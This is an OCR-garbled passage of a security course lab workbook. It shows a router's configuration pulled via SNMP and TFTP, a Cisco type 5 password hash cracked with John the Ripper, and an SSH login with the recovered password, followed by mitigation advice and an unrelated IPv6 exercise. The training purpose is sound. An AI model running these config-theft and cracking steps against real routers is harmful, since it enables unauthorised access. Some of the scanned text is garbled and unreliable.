79 get-response 1.3. 6 1 4 1 9 9 96 1 1 1 1 2 9999
78 set-request 1.3.6.1.4.1.9.9.96.1.1.1.1.3.9999
78 get-response 1.3.6.1.4.1.9.9.96.1.1.1.1.3.9999
78 set-request 1.3.6.1.4.1.9.9.96.1.1.1.1.4.9999
78 get-response 1.3.6.1.4.1.9.9.96.1.1.1.1.4.9999
81 set-request 1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999
81 get-response 1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999
78 set-request 1.3.6.1.4.1.9.9.96.1.1.1.1.15.9999
78 get-response 1.3.6.1.4.1.9.9.96.1.1.1.1.15.9999
85 set-request 1.3.6.1.4.1.9.9.96.1.1.1.1.16.9999
85 get-response 1.3.6.1.4.1.9.9.96.1.1.1.1.16.9999
94 set-request 1.3.6.1.4.1.9.9.96.1.1.1.1.6.9999
94 get-response 1.3.6.1.4.1.9.9.96.1.1.1.1.6.9999
78 set-request 1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999
78 get-response 1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999
54 Write Request, File: 10.5.30.12-config, Transfer type: octet
32 Acknowledgement, Block: ©
544 Data Packet, Block: 1
32 Acknowledgement, Block: 1
544 Data Packet, Block: 2
32 Acknowledgement, Block: 2
338 Data Packet, Block: 3 (last)
32 Acknowledgement, Block: 3
77 get-request 1.3.6.1.4.1.9.9.96.1.1.1.1.10.9999
78 get-response 1.3.6.1.4.1.9.9.96.1.1.1.1.10.9999
78 set-request 1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999
78 get-response 1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999

Wireshark shows SNMP traffic, followed by TFTP traffic, and then followed by more of the SNMP traffic.
Note that Wireshark may show other traffic as well, such as ICMP.

Right-click on the first packet with a protocol of "TFTP", and Info field labeled "Data Packet". Then choose

"Follow" ->"UDP Stream"
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No.

8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

34
35
36
37
38
39
40
41
42
43

Time

0.055862417
0.286014211
0.309996532
1 714
0.415244827
0.433906724

0.490958909
0.496212738
0.496656510
0.526644672
0.527057384
0.542137972
0.542471736
0.557762004
0.558060600
0.573456929
0.573886545
0.588773471
0.589175774
0.615058922
0.615360144
0.625424011
1.239863572
1.240109053
1.270967266

1.271161188 TFTP 32 Acknowledgement, Blocl

1.286471423 1 0.12 TFTP 544 Data Packet, Block: 2 Ignore/Unignore Packet Ctrl+D
1.286754453 k{ 6 TFTP 32 Acknowledgement, Blocl .

1.303933819  10.5.30.12 TFTP 338 Data Packet, Block: 3| ~cvUnsetTime Reference h1is
1.309665654 10.8.0.6 TFTP 32 Acknowledgement, Blocl  Time Shift.. Ctrl+Shift+T
1.310208083 1 .6 SNHP 77 get-request 1.3.6.1.4]  packer Comment.. Ctri+Alt+C
1.395645365 h{ 0.12 SNMP 78 get-response 1.3.6.1.

1.396091980 10.8.0.6 SNMP 78 set-request 1.3.6.1.4 Edit Resolved Name

1.410993794 10.5.30.12 SNMP 78 get-response 1.3.6.1.

271.702170996 fe80::5b0a:.. ICMPVE 48 Router Solicitation

Source

10 40 Timestamp reply
10.8.0.6 10.5.30.12  SNMP 88 get-request
10.5.30.12 10.8.0.6 SNMP 130 report 1.3.6.1.6.3.15.1.1.4.0
: T > ble (Port

0.6
10.8.0.6 10.5.30.12  SNMP 79 set-request 1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999
10.5.30.12 10.8.0.6 SNMP 79 get-response 1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999
10.8.0.6 10.5.30.12  SNMP 78 set-request 1.3.6.1.4.1.9.9.96.1.1.1.1.3.9999
10.5.30.12 10.8.0.6 SNMP 78 get-response 1.3.6.1.4.1.9.9.96.1.1.1.1.3.9999
10.8.0.6 10.5.30.12  SNMP 78 set-request 1.3.6.1.4.1.9.9.96.1.1.1.1.4.9999
10.5.30.12 10.8.0.6 SNMP 78 get-response 1.3.6.1.4.1.9.9.96.1.1.1.1.4.9999
10.8.0.6 10.5.30.12  SNMP 81 set-request 1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999
10.5.30.12 10.8.0.6 SNMP 81 get-response 1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999
10.8.0.6 10.5.30.12  SNMP 78 set-request 1.3.6.1.4.1.9.9.96.1.1.1.1.15.9999
10.5.30.12 10.8.0.6 SNMP 78 get-response 1.3.6.1.4.1.9.9.96.1.1.1.1.15.9999
10.8.0.6 10.5.30.12  SNMP 85 set-request 1.3.6.1.4.1.9.9.96.1.1.1.1.16.9999
10.5.30.12 10.8.0.6 SNMP 85 get-response 1.3.6.1.4.1.9.9.96.1.1.1.1.16.9999
10.8.0.6 SNMP 94 set-request 1.3.6.1.4.1.9.9.96.1.1.1.1.6.9999
10.5.30.12 SNMP 94 get-response 1.3.6.1.4.1.9.9.96.1.1.1.1.6.9999
10.8.0.6 SNMP 78 set-request 1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999
10.5.30.12 SNMP 78 get-response 1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999
10.5.30.12 54 Write Request, File: 10.5.30.12-config, Transfer type: octet
10.8.0. 32 Acknowledgement, Block: ©
0.5.3
0.8.0.
0.5.3
0.8.0.
0.5.3
0.8.0.
0.8.0
0.5.3
0.8.0

Protocol ' Lengtt Info

TFTP 544 Data Packet, Block: 1

Mark/Unmark Packet Ctrl+M

Apply as Filter

» Frame 33: 544 bytes on wire (4352 bits), 544 bytes captured (4352 bits) on interf
Raw packet data

» Internet Protocol Version 4, Src: 10.5.30.12, Dst: 10.8.0.6

» User Datagram Protocol, Src Port: 51270, Dst Port: 36830

» Trivial File Transfer Protocol

» Data (512 bytes)

Prepare a Filter

Conversation Filter
Colorize Conversation
SCTP
Follow

UDP Stream

e R o
0010 0Oa 08 00 06 c8 46 8f de ©2 Oc fb 39 00 03 00 01 Foo senBoaan
0020 0a 21 Ga 21 20 4c 61 73 74 20 63 6f 6e 66 69 67 1.1 Las t config
6030 75 72 61 74 69 6f 6e 20 63 68 61 6e 67 65 20 61 uration change a Protocol Preferences |
You will see the router's Cisco 10S configuration.
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| v Wireshark - Follow UDP Stream (udp.stream eq 4) - wireshark tun0_20180307102958 445 — + X '

| Last configuration change at 10:13:02 UTC Wed Mar 7 2018
I

version 15.2

service timestamps debug datetime msec
service timestamps log datetime msec

}

ﬁostname R11
I

Boot-start-marker
boot-end-marker

|
!

!

no aaa new-model

no ip icmp rate-limit unreachable
ip cef

|

ﬁo ip domain lookup
no ipvé cef
I

!
multilink bundle-name authenticated

username test privilege 5 secret 5 $1$HhTI$FqlaSq68HFIYseKRPK8FsO
username instructor privilege 15 secret 5 $1$R4p8$rlIWIOoXwoOXiqIDNDEGY/
I

1) Gaacaon: tcp synwait-time 5

4 client pkts, 3 server pkts, 6 turns.

)

l Entire conversation (1358 bytes) = ] Show and save data as | ASCII & I Stream E

Find: [ ] -

[ Help j [Filter Out This Streamj [ Print J 1 Save as... J l Back ) l Close

J

Close Wireshark.

Let's try to crack the Cisco type 5 (salted MD5) password hash for the user test. Note that the "instructor"
account has a unique 25-character password, which will be (very) difficult to crack. Go back to the

terminal where you ran the previous nmap command.
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Highlight "test privilege 5 secret 5 $1$SHhfIS$SfqJaSq68HF9YseKRPK8Fs0"in the

nmap output shown above, and press <SHIFT><CTRL><C> (or choose Edit->Copy):

v Terminal - student@Security530: ~

File Edit View Terminal Tabs Help
}
}

I giElltest privilege 5 secret 5 $1$HhfI$fqJaSq68HFIYseKRPK8FsO

| !

I !

| username instructor privilege 15 secret 5 $1$R4p8$r19WI00XwoOX1q9DND6GY/
!

|

I

ip tcp synwait-time 5

Open gedit by going to the "mouse menu" in the upper left corner, and choosing the "gedit" favorite.

u 3
e Web Browser [T..? Favorites ]
\=] Mail Reader O Recently Used
& | File Manager = All
LibreOffice Writer 8 Accessories
[::]] vibreoffice Calc ~# Development
@ Fidgin Internet Messenger & Education
| @) Software 0 Games
' Terminal Emulator % Graphics
= ) !
Hel
@ Her @ Internet
Screenshot S
z 8 Multimedia
_ gedit
¥ office
28] Settings
o2 System
g student EEREN ) 4

Paste the selected 10S configuration text into gedit (press <CTRL><V>):
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*
Open v + hai’;'t’(t Save|| = + X

File Edit View Search Tools Documents Help

test privilege 5 secret 5 $1$HhTfI$fqlaSq68HFI9YseKRPK8FsO

PlainText v TabWidth:8 Ln3, Col1 v INS

Edit the text to create a format parseable by John the Ripper. Replace the following text with a colon: "

privilege 5 secret 5" sothatitreads:"test:S$1:
$1SHhfIS$fqdaSqg68HF9YseKRPK8Fs0" and press "Save"

Open v ar hasl'/‘t’“ Save -

File Edit View Search Tools Documents Help

test:$1$HhfI$TqlaSq68HF9YseKRPK8FsO

PlainText v TabWidth:8 Ln1,Col 36 v INS

Save as "/home/student/passwords.txt". If asked to overwrite this file, say yes.

Remember: John the Ripper (JtR) will not re-crack a password is has cracked before. If you run JtR
multiple times and would like to re-crack a password, you must remove the "john.pot" file ("rm
/opt/john/run/john.pot"). Note this command is not necessary for this lab, unless you'd like to re-crack a

password.

Type the following command in a terminal:

$ ed /opt/john/run
$ sudo ./john /home/student/passwords.txt

Terminal - student@Security530: /opt/john/run

File Edit View Terminal Tabs Help

[~]1$ cd /opt/john/run
[/opt/john/run]$ sudo ./john /home/student/passwords.txt

[sudo] password for student:

Using default input encoding: UTF-8

Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 128/128 AVX 4x3])

Will run 2 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other key for status

Bond007 (test)
1g 0:00:00:00 DONE 2/3 (2018-08-19 11:58) 7.692g/s 26346p/s 26346c/s 26346C/s nc

c1701d..1022
Use the "--show" option to display all of the cracked passwords reliably

Session completed
[/opt/john/runls [

The password for user "test" is "Bond007".
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9. Let's try to log into the router with our newly-cracked password.

Type the following in a terminal:

S ssh test@10.5.30.12

If asked to verify the RSA key fingerprint answer "yes" to "Are you sure you want to
continue connecting (yes/no) ?" Then type user test's password: Bond007

v

File

[~]1$ ssh test@10.5.30.12

The authenticity of host '10.5.30.12 (10.5.30.12)' can't be established.
RSA key fingerprint is SHA256:zXCWmUhWn7nsHz1VCyExNz3XR6SogkZq7VGyd8Sfxu8.
Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '10.5.30.12' (RSA) to the list of known hosts.
Password:

Welcome to the Security router!
Please enjoy your stay!

Routerl2#j

Terminal - student@Security530: ~ - + X
Edit View Terminal Tabs Help

Note that the "test" user has a limited privilege account.

10. Note that we will assess a router with SNMP vulnerabilities during a subsequent lab today, as well as
discuss mitigation steps.

A reminder on how to mitigate this attack (previously discussed in 530.2):

e Disable SNMP if not required
e |f SNMP is required:

o Disable SNMP write access if possible
o Use complex (or randomly-generated) community strings
o Use SNMP version 3 on all supported equipment
o For non SNMPv3-capable devices that require SNMP: use SNMP version 2c with access lists that
restrict polling to required servers only (such as network management and/or monitoring systems)
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Exercise 2.3 - IPv6

Objectives

Understand IPv6

Receive a global unicast IPv6 address
Tunnel IPv6 via IPv4

Connect to the IPv6 Internet
Understand DNS AAAA records

Lab Steps

1. If not already logged in: log into the Security530 Linux VM
e Username: student
e Password: Security530

2. After login, open a terminal by double-clicking the Terminal icon (black box) on the desktop

3. Steps 3 and 4 assume that the in-class wireless network does not provide global unicast (i.e., public) IPv6
addresses. Hotel and conference networks are generally IPv4-only, but this may not always be the case.
Your instructor will indicate if the local wireless network assigns global unicast IPv6 addresses and will
instruct you to proceed to step 5.

Note: this step tunnels IPv6 (only) to/from your Security 530 Linux VM (only). It does not affect traffic
sent to/from your host laptop, or IPv4 traffic sent to/from your Security 530 Linux VM.

Connect to the Security530 IPv6 lab network. The course maintains multiple IPv6 tunnel brokers for class
use (a primary, and backups). Your instructor will indicate if the primary (default) tunnel broker is being

used, or if students need to connect to a different one.

If you are using the default IPv6 tunnel broker: proceed to step 4. If prompted by your instructor: change
the default network.

4. Connect to the IPv6 lab network. Type the following command (the sudo password is "Security530"):

$ sudo openvpn --config /etc/openvpn/ipvé.ovpn

If successful, the output will end with " Initialization Sequence Completed":
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v Terminal - root@Security530: /etc/openvpn X
File Edit View Terminal Tabs Help

Sun Mar 4 15:35:25 2018 OPTIONS IMPORT: timers and/or timeouts modified

Sun Mar 4 15:35:25 2018 OPTIONS IMPORT: --ifconfig/up options modified

Sun Mar 4 15:35:25 2018 OPTIONS IMPORT: route options modified

Sun Mar 4 15:35:25 2018 ROUTE_GATEWAY 192.168.198.2/255.255.255.0 IFACE=ens33 HWADDR=00:0c:29:f9:54:8d

Sun Mar 4 15:35:25 2018 ROUTE6: default_gateway=UNDEF

Sun Mar 4 15:35:25 2018 TUN/TAP device tun@ opened

Sun Mar 4 15:35:25 2018 TUN/TAP TX queue length set to 100

Sun Mar 4 15:35:25 2018 do_ifconfig, tt->ipvé=1, tt->did_ifconfig_ipv6_setup=1

Sun Mar 4 15:35:25 2018 /sbin/ip link set dev tun® up mtu 1500

Sun Mar 4 15:35:25 2018 /sbin/ip addr add dev tun® local 10.8.0.6 peer 10.8.0.5

Sun Mar 4 15:35:25 2018 /sbin/ip -6 addr add 2605:fb80:e000:7603:8000::1000/65 dev tun®

Sun Mar 4 15:35:25 2018 /etc/openvpn/update-resolv-conf tun® 1500 1572 10.8.0.6 10.8.0.5 init

Sun Mar 4 15:35:25 2018 /sbin/ip route add 10.8.0.1/32 via 10.8.0.5

Sun Mar 4 15:35:25 2018 add_route_ipv6(2000::/3 -> 2605:fb80:e000:7603:8000::1 metric -1) dev tun®

Sun Mar 4 15:35:25 2018 /sbin/ip -6 route add 2000::/3 dev tun®

Sun Mar 4 15:35:25 2018 GID set to nogroup

Sun Mar 4 15:35:25 2018 UID set to nobody

iun Mar 4 15:35:25 2018 Initialization Sequence Completed

Please note: If you are using a corporate or personal VPN on your host computer, disconnect it, as it may
disallow a second VPN connection to the SEC530 environment.

5. Type the following terminal command to verify your Security530 Linux VM has received a global unicast
(publicly routed) IPv6 address:

$ ifconfig

Identify your global unicast (public) IPv6 address. The ifconfig command will show it on a line beginning
with "inet6", and the address will begin with a "2". If you are connected to the IPv6 tunnel broker via
OpenVPN (true for most cases): your IPv6 address will be listed under the "tun0" adapter. If you were
instructed to skip steps 3 and 4 and are using a locally-provided global unicast IPv6 address: it will be
listed under ethO (and there will be no tun0 adapter).

The global unicast IPv6 address shown in the screenshot below is:
"2605:£fb80:e000:7603:8000::1000". Note that your address will be different.
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| ~ Terminal - student@Security530: ~ - + X |

File Edit View Terminal Tabs Help

[~]$ ifconfig
etho Link encap:Ethernet Hwaddr 00:0c:29:f9:54:8d
inet addr:192.168.198.132 Bcast:192.168.198.255 Mask:255.255.255.0
inet6 addr: fe80::63a0:7307:8a80:64ea/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:40043 errors:0 dropped:® overruns:0 frame:0
TX packets:20153 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:58823564 (58.8 MB) TX bytes:1224583 (1.2 MB)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:349 errors:0 dropped:0 overruns:0 frame:0
TX packets:349 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:53361 (53.3 KB) TX bytes:53361 (53.3 KB)

tuné Link encap:UNSPEC Hwaddr 00-00-00-00-00-00
inet addr:10.8.0.6 P-t-P:10.8.0.5 Mask:2
inet6 addr: fe80::5d94:f57a:9e99:bc9a/64 S
inet6 addr: 2605:fb80:e000:7603:8000: :1000 e:Global
UP POINTOPOINT RUNNING NOARP MULTICAST MTU:15600 Metric:1
RX packets:0 errors:0 dropped:® overruns:0 frame:0
TX packets:4 errors:0 dropped:® overruns:0 carrier:0
collisions:® txqueuelen:100
RX bytes:® (0.0 B) TX bytes:192 (192.0 B)

SN |

6. Open Wireshark, and sniff traffic on the "any" pseudo-adapter (which captures traffic on all adapters).
Click on the Wireshark icon (in the upper panel, towards the left).

Highlight the "any" adapter, and begin capturing by pressing the blue fin icon in the upper left corner
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- The Wireshark Network Analyzer - 4+ x|

File Ediy/] vView Go Capture Analyze Statistics Telephony Wireless Tools Help

Wl

2: fin icon ¢l Q &= = 5 3 & QOO

fplay filter .. <curT- 3 | Expression.. +

Welcome to Wireshark

Capture

...using this filter: [ Enter a captur\filtg

etho
tun0

bluetooth0
nflog
nfqueue

timhenant

'\:.
—J=
Loopback: lo -
| W—

Learn
User's Guide - Wiki - Questions and Answers - Mailing Lists

You are running Wireshark 2.2.6 (Git Rev Unknown from unknown).

7 Ready to load or capture No Packets Profile: Default

7. Note: the specific addresses shown in screenshots below may change, as the Security530 cloud servers

are upgraded, moved, etc.

Leave Wireshark running an open a terminal. Verify IPv6 connectivity by using "ping6" (please note the

"6") to send ICMPv6 echo requests to "ipv6.sec530.org":

S ping6 -n -c4 ipv6.sec530.org

The "-n" flag tells ping6 not to resolves names in the output (and show the IPv6 address instead). The "-

c4" flag tells ping6 to send four ICMPv6 echo requests, and then stop.

v Terminal - student@Security530: ~ — -

File Edit View Terminal Tabs Help

[~]$ ping6 -n -c4 ipv6.sec530.org

PING ipv6.sec530.0rg(2605:fb80:e000:7603::1) 56 data bytes

64 bytes from 2605:fb80:000:7603::1: icmp seq=1 ttl=64 time=92.3 ms
64 bytes from 2605:fb80:000:7603::1: icmp seq=2 ttl=64 time=93.5 ms
64 bytes from 2605:fb80:e000:7603::1: icmp seq=3 ttl=64 time=92.8 ms
64 bytes from 2605:fb80:000:7603::1: icmp seq=4 ttl=64 time=92.2 ms

--- 1pv6.sec530.org ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 92.264/92.750/93.576/0.641 ms

~1s 1
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A normal ping will fail (on Linux), because UNIX/Linux and macOS use "ping" for IPv4 only, and ping6 for
IPv6. Note that the Windows "ping.exe" command can be used for both IPv4 and IPv6.

8. Next: ping an IPv4-only site. We will then compare the ping6 and ping packets in Wireshark.

$ ping -n -c4 ipv4.sec530.o0rg

| v Terminal - student@Security530: ~ — -

File Edit View Terminal Tabs Help

[~]$ ping -n -c4 ipv4.sec530.org

PING ipv4.sec530.org (162.243.205.12) 56(84) bytes of data.
64 bytes from 162.243.205.12: icmp _seq=1 ttl=128 time=40.7 ms
64 bytes from 162.243.205.12: icmp seq=2 ttl=128 time=40.9 ms
64 bytes from 162.243.205.12: icmp seq=3 ttl=128 time=40.0 ms
64 bytes from 162.243.205.12: icmp seq=4 tt1=128 time=40.1 ms

--- 1pv4.sec530.org ping statistics ---

4 packets transmitted, 4 received, 0% packet loss, time 3009ms
rtt min/avg/max/mdev = 40.054/40.463/40.973/0.461 ms

[~1$

9. Stop Wireshark Press the red "stop" button in the upper left.

9 5.841082022

2605:7b80:e000:7603.. 2604:a880:0:1010::5.. ICMPV6

v Capturing from any X
File Edit Go Capture Analyze Statistics Telephony Wireless Tools Help

AI0K Stop Qe=>E=3F 8 _ H aqarl
N | Apj <C - ) - 3 - | Expression...  +
No. Time Source Destination Protocol Lengtl Info s
i 5 5.790868017 127.0.0.1 12/763%1 DNS 77 Standard query Oxc698 AAAA

: 6 5.790954650 192.168.198.132 192.168.198.2 DNS 77 Standard query Oxd3da AAAA |
! 7 5.840729627 192.168.198.2 192.168.198.132 DNS 105 Standard query response ©Oxc
: 8 5.840848280 127.0.1.1 127.0.0.1 DNS 105 Standard query response ©Oxc

120 Echo (ping) request id=0x1€~

10. Type the following Wireshark display filter and press <ENTER>:

icmpvé
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o= *any _+x‘

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

[a] m =NRE Qes=Es e - Haaaw

icmpv6 = | '] Expression..  +

Source Destination Protocol Lengtt Info
2 v - g H:H o request i1d=0x163..
« 13 6.391472724 2604:a880:0:1010::5.. 2605:Tb80:e000:7603.. ICMPV6 120 Echo (ping) reply 1d=0x163d, ..
16 6.843020416  2605:Tb80:e000:7603.. 2604:a880:0:1010::5.. ICMPv6 120 Echo (ping) request id=0x163..
21 6.995136322 2604:a880:0:1010::5.. 2605:7b80:e000:7603.. ICMPV6 120 Echo (ping) reply id=0x163d,..
22 7.843945080 2605:fb80:e000:7603.. 2604:2880:0:1010::5.. ICMPVv6 120 Echo (ping) request id=0x163..
27 7.996430984 2604:a880:0:1010::5.. 2605:fb80:e000:7603.. ICMPV6 120 Echo (ping) reply id=0x163d,..
28 8.845504297 2605:fb80:e000:7603.. 2604:2880:0:1010::5.. ICMPVv6 120 Echo (ping) request id=0x163..
33 8.997728114 2604:a880:0:1010::5.. 2605:fh80:e000:7603.. ICMPV6 120 Echo (ping) reply id=0x163d,..

Frame 9: 120 bytes on wire (960 bits), 120 bytes captured (960 bits) on interface ©

» Linux cooked capture
» Internet Protocol Version 6, Src: 2605:fb80:e000:7603:8000::1000, Dst: 2604:a880:0:1010::5db:4001
» Internet Control Message Protocol v6

Helcolo MmOy 04 T 6 Ve Ve PO PO OO VU OV 86 dOj. ....... ........
0010 I YA e .
(ccPSHSO 00 00 00 00 00 10 00 26 04 a8 80 00 00 10 10§NM........ Yo
CXCHNO0 00 00 00 05 db 40 ©1 80 00 8d ©a 16 3d 00 O1pmM...... A S 0
0040 o QT
CCEICAN10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1fN........ ........
0060
(clor{oI30 31 32 33 34 35 36

'© 7 Frame (frame), 120 bytes _ Packets: 160 - Displayed: 8 (5.0%) _Profile: Default|

Note that "Linux cooked capture" means that Wireshark is capturing on the "any" pseudo-adapter. We
used this adapter because we are using a split tunnel: IPv6 is sent via tun0, and IPv4 is sent via ethO. The
"any" adapter allows us to see both in the same packet capture.

Highlight any packet and press the small triangle next to "Internet Protocol Version 6...", to show the IPv6
header fields. Note "Next header: ICMPv6 (58)".

v *any - x‘

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

e sde =R Je2=Fs - Hagqai

W | icmpvé A B3 ~| Expression..  +
No.  Time Source Destination Protocol Lengtl Info Ii
9 5.8410820 60 93... 3 ICMPV6 120 Echo request 1id=0x1..

« 13 6.391472724 2 e ¢10::5.. 2605:fb80:e000:7603.. ICMPV6 120 Echo (ping) reply i1d=0x163..
16 6.843020416 % 000:7603.. 2604:a880:0:1010::5.. ICMPV6 120 Echo (ping) request id=0x1..

21 6.9951363 \'{\3 €0:0:1010::5.. 2605:Tb80:e000:7603.. ICMPV6 120 Echo (ping) reply id=0x163..

22 7.843 ,_)f, 7Tb80:e000:7603.. 2604:2880:0:1010::5.. ICMPVv6 120 Echo (ping) request id=0x1..

71. Q(e 604:a2880:0:1010::5.. 2605:Th80:e000:7603.. ICMPV6 120 Echo (ping) reply id=0x163.. P
2605:Th80:e000:7603.. 2604:a880:0:1010::5.. ICMPv6 120 Echo (ping) request id=0x1.. |y

[S bytes on wire (960 bits), 120 bytes captured (960 bits) on interface 0
> oked capture
v Protocol Version 6, Src: 2605:fb80:e000:7603:8000: :1000, Dst: 2604:a880:0:1010: :5db:4001
0110 .... = Version: 6
> .... 0000 0000 .... ... Traffic class: 0x00 (DSCP: CS®, ECN: Not-ECT)

............ 0000 1111 1100 1 1110
Payload length: 64
TR (58) Next header: ICMPv6 (58)
Hop limit: 64
Source: 2605:fb80:e000:7603:80¥ |:1000
Destination: 2604:a880:0:1010::50b:4001
» [Source GeoIP: United States]
» [Destination GeoIP: United States]
» Internet Control Message Protocol v6

Flow label: 0x0fc9e
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11. Type the following Wireshark display filter and press <ENTER>:

icmp

Highlight any packet and press the small triangle next to "Internet Protocol Version 4...", to show the IPv4

header fields. Note "Protocol: ICMP (1)".

8 10.93835868 9 68.198 6 4 0
« 39 10.978965929 162.243.205.12
40 11.942197541 192.168.198.132
41 11.982501614 162.243.205.
42 12.943680906
43 12.984190167

162.243.205.12

162.243.205.12

162.243.205.12

192.168.198.132

192.168.198.132

192.168.198.132

P 00 0 P g

ICMP 100 Echo (ping)
ICMP 100 Echo (ping)
IcMP 100 Echo (ping)
IcMP 100 Echo (ping)
IcMp 100 Echo (ping)
ICcMP 100 Echo (ping)

eque d=0
reply
request
reply
request
reply
request

1d=0x...
i1d=0x...
i1d=0x...
id=0x..
id=0x..
id=0x..

|~ *any =
File Edit View Go (Capture Analyze Statistics Telephony Wireless Tools Help

- ™ 5 M : = % @
AN X[ Q ea=EF & ] @ QQq *
‘W | icmp g icmp =3 ~| Expression..  +
No.  Time Source Destination Protocol Lengtt Info =

01 . = Version: 4

. 0101 = Header Length: 20 bytes (5)

Total Length: 84
Identification: O0x@b2a (2858)
» Flags: 0x02 (Don't Fragmenf)
Fragment offset: 0

rotocol Version 4, Src: 192.168.198.132, Dst: 162.243.205.12

» Differentiated Services Field: ©0x00 (DSCP: CS@, ECN: Not-ECT)

Time to live: 64
Protocol: ICMP (1)
Header checksum: Ox385%

Protocol:

ICMP (1)

[Header checksum status:\ pverified]

N

00 91 00 06 00 VC
00 54 Ob 2a 40 00
cd 6c 08 00 30 04
00 00 fd cc 03 00
16 17 18 19 1a 1b
26 27 28 29 2a 2b
36 37

0u 04
45 00
a2 f3
00 00
14 15
24 25
34 35

2972479274100 00 08 00
40 38 52 cO a8 c6 84
16 3e 00 01 53 c2 9e 5a
00 00 00 00 10 11 12 13
1c 1d 1e 1f 20 21 22 23
2c 2d 2e 2f 30 31 32 33

4567

O 7 Protocol (ip.proto), 1 byte

Packets: 513 - Displayed: 8 (1.6%)

Profile: Default

12. "Next header: ICMPv6 (58)" means protocol 58, and "Protocol: ICMP (1)" means protocol 1. These
protocol numbers are listed in /etc/protocols. View /etc/protocols with "less" (note that pressing the "q"

key quits "less"):

$ less /etc/protocols
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13.

v

File Edit

# sources.

rspf 73

ip 0
hopopt ©
icmp 1
igmp 2
ggp 3
ipencap 4

st 5
tcp 6
egp 8
igp 9
pup 12
udp 17
hmp 20
xns-idp 22
rdp 27
iso-tp4 29
dccp 33
xtp 36
ddp 37
idpr-cmtp 38
ipv6 41
ipv6-route 43
ipv6-frag 44
idrp 45
rsvp 46
gre 47
esp 50
ah 51
skip 57

ipv6-icmp 58
ipv6-nonxt 59
ipv6-opts 60

Terminal - student@Security530: ~ — -

View Terminal
# Internet (IP) protocols
#

IP
HOPOPT
ICMP
IGMP

DDP
IDPR-CMTP
IPV6
IPv6-Route
IPv6-Frag
IDRP

RSVP

GRE
IPSEC-ESP
IPSEC-AH
SKIP
IPv6-ICMP
IPv6-NoNxt
IPv6-0Opts
RSPF CPHB

e e e e e ke N e e e e ke e e R e e e e e e e e e e e e e

Tabs Help

# Updated from http://www.1lana.org/assignments/protocol-numbers and other

# New protocols will be added on request if they have been officially
# assigned by IANA and are not historical.
# If you need a huge list of used

numbers please install the nmap package.

internet protocol, pseudo protocol number
IPv6 Hop-by-Hop Option [RFC1883]

internet control message protocol
Internet Group Management
gateway-gateway protocol

IP encapsulated in IP (officially ""IP'')
ST datagram mode

transmission control protocol

exterior gateway protocol

any private interior gateway (Cisco)

PARC universal packet protocol

user datagram protocol

host monitoring protocol

Xerox NS IDP

"reliable datagram" protocol

IS0 Transport Protocol class 4 [RFC905]
Datagram Congestion Control Prot. [RFC4340]
Xpress Transfer Protocol

Datagram Delivery Protocol

IDPR Control Message Transport

Internet Protocol, version 6

Routing Header for IPv6

Fragment Header for IPv6

Inter-Domain Routing Protocol
Reservation Protocol

General Routing Encapsulation

Encap Security Payload [RFC2406]
Authentication Header [RFC2402]

SKIP

ICMP for IPv6

No Next Header for IPv6

Destination Options for IPv6

Radio Shortest Path First (officially CPHB)

Press "g" to quit "less".

Inspect DNS records for "ipv6.sec530.org". It has been configured with an "AAAA" record (ipv6) only and
does not have an "A" record. Verify this with the dig command. First: check the DNS "AAAA" record:

$ dig ipv6.sec530.org -t AAAA
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Note the "ANSWER SECTION", listing the global unicast address of ipv6.security530.org.

|~ Terminal - student@Security530: ~ - + X

File Edit View Terminal Tabs Help
[~]$ dig ipv6.sec530.org -t AAAA

; <<> DiG 9.10.3-P4-Ubuntu <<>> 1ipv6.secS -t AAAA
;; global options: +cmd
;3 Got answer:

;3 ->>HEADER<<- opcode: QUERY, sta OR, 1id: 9895
;; flags: qr rd ra; QUERY: 1,

;3 OPT PSEUDOSECTION:
; EDNS: version: 0, fla
;3 QUESTION SECTION

0005 , udp: 512

;1pv6.sec530.o0rg. IN AAAA
;3 ANSWER SECTION:
1pv6.sec530.o0rg. 5 IN AAAA 2605:fb80:e000:7603::1

;; Query time: 50 msec

;3 SERVER: 127.0.1.1#53(127.0.1.1)

;3 WHEN: Sun Mar 04 16:20:55 EST 2018

;3 MSG SIZE rcvd: 72 H

~1s i

Next: check the DNS "A" record:

$ dig ipv6.sec530.o0rg -t A

File Edit View Terminal Tabs Help
[~]$ dig ipv6.sec530.org -t A

; <<> D16 9.10.3-P4-Ubuntu <<>> ipv6.sec530.org -t A

;; global options: +cmd

;3 Got answer:

;3 ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 56257

;; flags: qr aa ra; QUERY: 1, ANSWER: O, AUTHORITY: O, ADDITIONAL: ©

;3 QUESTION SECTION:
;1pv6.sec530.o0rg. IN A

;; Query time: 51 msec

;3 SERVER: 127.0.1.1#53(127.0.1.1)

;3 WHEN: Sun Mar 04 16:19:50 EST 2018
;; MSG SIZE rcvd: 33

~1s i

|~ Terminal - student@Security530: ~ - + X |

There is no "ANSWER SECTION", which means there is no "A" (IPv4) record.
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Perform the same steps for ipv4.sec530.org.

$ dig ipv4.sec530.org -t AAAA
$ dig ipv4.sec530.org -t A

